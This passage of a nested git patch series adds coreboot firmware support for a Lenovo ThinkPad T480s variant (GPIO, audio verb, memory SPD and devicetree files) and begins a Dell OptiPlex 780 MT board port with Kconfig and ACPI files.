PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -TAMPER_SW_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +new file mode 100644 +index 0000000000..b1d96c5a76 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa2258, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa2258), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +new file mode 100644 +index 0000000000..001e934b3a +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +@@ -0,0 +1,44 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++ ++static const struct pad_config memory_id_gpio_table[] = { ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++}; ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ int spd_idx; ++ char spd_name[20]; ++ size_t spd_size; ++ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for soldered RAM SPD (CH A) */ ++ gpio_configure_pads(memory_id_gpio_table, ARRAY_SIZE(memory_id_gpio_table)); ++ ++ spd_idx = gpio_get(GPP_F16) | gpio_get(GPP_F17) << 1 | gpio_get(GPP_F18) << 2 | ++ gpio_get(GPP_F19) << 3 | gpio_get(GPP_F20) << 4; ++ printk(BIOS_DEBUG, "Detected MEMORY_ID = %d\n", spd_idx); ++ snprintf(spd_name, sizeof(spd_name), "spd_%d.bin", spd_idx); ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)cbfs_map(spd_name, &spd_size); ++ ++ /* Get SPD for memory slot (CH B) */ ++ struct spd_block blk = { .addr_map = { [1] = 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +new file mode 100644 +index 0000000000..d4afca20c4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC0), // JUSB1 (USB-A always on) ++ [1] = USB2_PORT_MID(OC1), // JUSB2 (USB-A) ++ [2] = USB2_PORT_MID(OC_SKIP), // JFPR (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // JUSBC (USB-C) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC0), // JUSB1 (USB-A always on) ++ [1] = USB3_PORT_DEFAULT(OC1), // JUSB2 (USB-A) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // JSD (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // JUSBC (USB-C) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - Main M.2 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x2+2x1 ++ # PCIE 1-2 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # PCIE 4 - RP4 - WWAN - CLKOUT1 - CLKREQ1 ++ # ++ # PCIe controller 2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT2 - CLKREQ2 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT3 - CLKREQ3 ++ # PCIE 7-8 - RP5 - TB3 - CLKOUT4 - CLKREQ4 ++ # ++ # PCIe controller 3 - 1x4 (lane reversal) ++ # PCIE 9-12 - RP9 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x2 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # M.2 WWAN - x1 ++ device ref pcie_rp4 on ++ register "PcieRpEnable[3]" = "1" ++ register "PcieRpClkReqSupport[3]" = "1" ++ register "PcieRpClkReqNumber[3]" = "1" ++ register "PcieRpClkSrcNumber[3]" = "1" ++ register "PcieRpAdvancedErrorReporting[3]" = "1" ++ register "PcieRpLtrEnable[3]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "2" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "3" ++ register "PcieRpClkSrcNumber[6]" = "3" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "4" ++ register "PcieRpClkSrcNumber[4]" = "4" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ register "PcieRpHotPlug[4]" = "1" ++ end ++ ++ # M.2 2280 SSD - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "5" ++ register "PcieRpClkSrcNumber[8]" = "5" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..86f39ddb55ea9fb58d5e5699637636ef597c734e +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1t+8`-(puhlu3{YAD +YT>%dM8_BI;nL`dsaHtp+rc($20I8n}l>h($ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..df0f6e58b79286a4aeb690c5027adf7a1f5f668b +GIT binary patch +literal 512 +zcmY!u;9+i6oWQ}rz`)GN3?vyic)kGXoSYm%j*<^t3LFfq3@hZcwLwzoK!E`Q8KATR +Yx&j>hH(SqvWezd%<4`dwOs5b40B_I==>Px# + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..24f0d8992bc5244c62488da9633e4885f52f3e22 +GIT binary patch +literal 512 +zcmY!ucy&~OfFg0G3Wp`)phiHWn5fv$6q +PvjPw>z-1}5hGzN!nb#F$ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..59b6b9e78263c42aae367ab7d4a784d888f30efe +GIT binary patch +literal 512 +zcmY!ucy(6E*fVuXjUqlKwqu$iMg7pDLK + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..5f23e86606094d3e5d2011db902ebd4a500bbffa +GIT binary patch +literal 512 +zcmY!u<-XHc140(BZf(&^dxD+@TSQ$QOn`kgpFo@WIT6 +z8Mi42GcX`n2w8lrIa@)p&l&!{<7bq|r;x^SwThHl(6E*fVuXjUqobjFu$i-OkeQ!u +Vn70BDFf^?FkI#a;_$28g2LNS*7)Ag9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..857da9c9828cdac842329f6cef4539283777268b +GIT binary patch +literal 512 +zcmY!uenuv07)YiW2Og2B5w5L42g)>Y3~@6xG%_>sh|)E7H}WzBiW@fQc)?W; +GP6hy+m=i1j + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..b5b14cf2dfa06ae183b0379da4dc825129e1589f +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJU@VRUS6IcN7)B11r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$v*cE=%%S%6I8=-Z(%b$+tzbnnL|62aHtp+rc($20QGqazW@LL + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..829f149547bc24859646c33d5926938d7a1b90cb +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$o8(ro%%OI594bbI=@bG0z{d&v + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..940f1e3cd8e5bd9ea32a82a14edcdcbc8132d8c7 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurjQW(9mG0U=XnZ$x{Q& +z0UPq1A)%L_QJxwGl4(Y*BAFWD+8T7AOcTeDU_*B^6OSleBX=`bLy)jxgN`d)<=|uh +E020*^DF6Tf + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..30c84410d417ef7afa8705c93cdb64a9f4e915a0 +GIT binary patch +literal 512 +zcmY!uW!enxp}7)YiWinU~FgllWifig`TLxK(6%}hL^bdB7N9Ss$Lz^FmT39fQ* +FG5`?&65ap+ + +literal 0 +HcmV?d00001 + +-- +2.39.5 + diff --git a/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch b/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch new file mode 100644 index 000000000..77513b775 --- /dev/null +++ b/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch @@ -0,0 +1,708 @@ +From 2527c4a5131d7b33e43bbc03a94921e7e59b4b02 Mon Sep 17 00:00:00 2001 +From: Nicholas Chin +Date: Mon, 30 Sep 2024 20:44:38 -0400 +Subject: [PATCH 04/11] mb/dell: Add Optiplex 780 MT (x4x/ICH10) + +Change-Id: Idb45737ce95bfd26e978323c650de7d308b5079c +Signed-off-by: Nicholas Chin +--- + src/mainboard/dell/optiplex_780/Kconfig | 40 ++++ + src/mainboard/dell/optiplex_780/Kconfig.name | 4 + + src/mainboard/dell/optiplex_780/Makefile.mk | 10 + + src/mainboard/dell/optiplex_780/acpi/ec.asl | 5 + + .../dell/optiplex_780/acpi/ich10_pci_irqs.asl | 32 ++++ + .../dell/optiplex_780/acpi/superio.asl | 18 ++ + .../dell/optiplex_780/board_info.txt | 6 + + src/mainboard/dell/optiplex_780/cmos.default | 8 + + src/mainboard/dell/optiplex_780/cmos.layout | 72 ++++++++ + src/mainboard/dell/optiplex_780/cstates.c | 8 + + src/mainboard/dell/optiplex_780/devicetree.cb | 63 +++++++ + src/mainboard/dell/optiplex_780/dsdt.asl | 26 +++ + .../dell/optiplex_780/gma-mainboard.ads | 16 ++ + .../optiplex_780/variants/780_mt/data.vbt | Bin 0 -> 1917 bytes + .../optiplex_780/variants/780_mt/early_init.c | 12 ++ + .../dell/optiplex_780/variants/780_mt/gpio.c | 174 ++++++++++++++++++ + .../optiplex_780/variants/780_mt/hda_verb.c | 26 +++ + .../variants/780_mt/overridetree.cb | 10 + + 18 files changed, 530 insertions(+) + create mode 100644 src/mainboard/dell/optiplex_780/Kconfig + create mode 100644 src/mainboard/dell/optiplex_780/Kconfig.name + create mode 100644 src/mainboard/dell/optiplex_780/Makefile.mk + create mode 100644 src/mainboard/dell/optiplex_780/acpi/ec.asl + create mode 100644 src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl + create mode 100644 src/mainboard/dell/optiplex_780/acpi/superio.asl + create mode 100644 src/mainboard/dell/optiplex_780/board_info.txt + create mode 100644 src/mainboard/dell/optiplex_780/cmos.default + create mode 100644 src/mainboard/dell/optiplex_780/cmos.layout + create mode 100644 src/mainboard/dell/optiplex_780/cstates.c + create mode 100644 src/mainboard/dell/optiplex_780/devicetree.cb + create mode 100644 src/mainboard/dell/optiplex_780/dsdt.asl + create mode 100644 src/mainboard/dell/optiplex_780/gma-mainboard.ads + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb + +diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig +new file mode 100644 +index 0000000000..2d06c75c9a +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/Kconfig +@@ -0,0 +1,40 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_DELL_OPTIPLEX_780_COMMON ++ def_bool n ++ select BOARD_ROMSIZE_KB_8192 ++ select CPU_INTEL_SOCKET_LGA775 ++ select DRIVERS_I2C_CK505 ++ select HAVE_ACPI_RESUME ++ select HAVE_ACPI_TABLES ++ select HAVE_CMOS_DEFAULT ++ select HAVE_OPTION_TABLE ++ select INTEL_GMA_HAVE_VBT ++ select MAINBOARD_HAS_LIBGFXINIT ++ select MAINBOARD_USES_IFD_GBE_REGION ++ select NORTHBRIDGE_INTEL_X4X ++ select PCIEXP_ASPM ++ select PCIEXP_CLK_PM ++ select SOUTHBRIDGE_INTEL_I82801JX ++ ++config BOARD_DELL_OPTIPLEX_780_MT ++ select BOARD_DELL_OPTIPLEX_780_COMMON ++ ++if BOARD_DELL_OPTIPLEX_780_COMMON ++ ++config VGA_BIOS_ID ++ default "8086,2e22" ++ ++config MAINBOARD_DIR ++ default "dell/optiplex_780" ++ ++config MAINBOARD_PART_NUMBER ++ default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT ++ ++config OVERRIDE_DEVICETREE ++ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" ++ ++config VARIANT_DIR ++ default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT ++ ++endif # BOARD_DELL_OPTIPLEX_780_COMMON +diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name +new file mode 100644 +index 0000000000..db7f2e8fe3 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/Kconfig.name +@@ -0,0 +1,4 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_DELL_OPTIPLEX_780_MT ++ bool "OptiPlex 780 MT" +diff --git a/src/mainboard/dell/optiplex_780/Makefile.mk b/src/mainboard/dell/optiplex_780/Makefile.mk +new file mode 100644 +index 0000000000..d462995d75 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/Makefile.mk +@@ -0,0 +1,10 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++ramstage-y += cstates.c ++romstage-y += variants/$(VARIANT_DIR)/gpio.c ++ ++bootblock-y += variants/$(VARIANT_DIR)/early_init.c ++romstage-y += variants/$(VARIANT_DIR)/early_init.c ++ ++ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += gma-mainboard.ads ++ramstage-y += variants/$(VARIANT_DIR)/hda_verb.c +diff --git a/src/mainboard/dell/optiplex_780/acpi/ec.asl b/src/mainboard/dell/optiplex_780/acpi/ec.asl +new file mode 100644 +index 0000000000..479296cb76 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/acpi/ec.asl +@@ -0,0 +1,5 @@ ++/* SPDX-License-Identifier: CC-PDDC */ ++ ++/* Please update the license if adding licensable material. */ ++ ++/* dummy */ +diff --git a/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl +new file mode 100644 +index 0000000000..b7588dcc41 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl +@@ -0,0 +1,32 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++/* This is board specific information: ++ * IRQ routing for the 0:1e.0 PCI bridge of the ICH10 ++ */ ++ ++If (PICM) { ++ Return (Package() { ++ /* PCI slot */ ++ Package() { 0x0001ffff, 0, 0, 0x14}, ++ Package() { 0x0001ffff, 1, 0, 0x15}, ++ Package() { 0x0001ffff, 2, 0, 0x16}, ++ Package() { 0x0001ffff, 3, 0, 0x17}, ++ ++ Package() { 0x0002ffff, 0, 0, 0x15}, ++ Package() { 0x0002ffff, 1, 0, 0x16}, ++ Package() { 0x0002ffff, 2, 0, 0x17}, ++ Package() { 0x0002ffff, 3, 0, 0x14}, ++ }) ++} Else { ++ Return (Package() { ++ Package() { 0x0001ffff, 0, \_SB.PCI0.LPCB.LNKE, 0}, ++ Package() { 0x0001ffff, 1, \_SB.PCI0.LPCB.LNKF, 0}, ++ Package() { 0x0001ffff, 2, \_SB.PCI0.LPCB.LNKG, 0}, ++ Package() { 0x0001ffff, 3, \_SB.PCI0.LPCB.LNKH, 0}, ++ ++ Package() { 0x0002ffff, 0, \_SB.PCI0.LPCB.LNKF, 0}, ++ Package() { 0x0002ffff, 1, \_SB.PCI0.LPCB.LNKG, 0}, ++ Package() { 0x0002ffff, 2, \_SB.PCI0.LPCB.LNKH, 0}, ++ Package() { 0x0002ffff, 3, \_SB.PCI0.LPCB.LNKE, 0}, ++ }) ++} +diff --git a/src/mainboard/dell/optiplex_780/acpi/superio.asl b/src/mainboard/dell/optiplex_780/acpi/superio.asl +new file mode 100644 +index 0000000000..9f3900b86c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/acpi/superio.asl +@@ -0,0 +1,18 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#undef SUPERIO_DEV ++#undef SUPERIO_PNP_BASE ++#undef IT8720F_SHOW_SP1 ++#undef IT8720F_SHOW_SP2 ++#undef IT8720F_SHOW_EC ++#undef IT8720F_SHOW_KBCK ++#undef 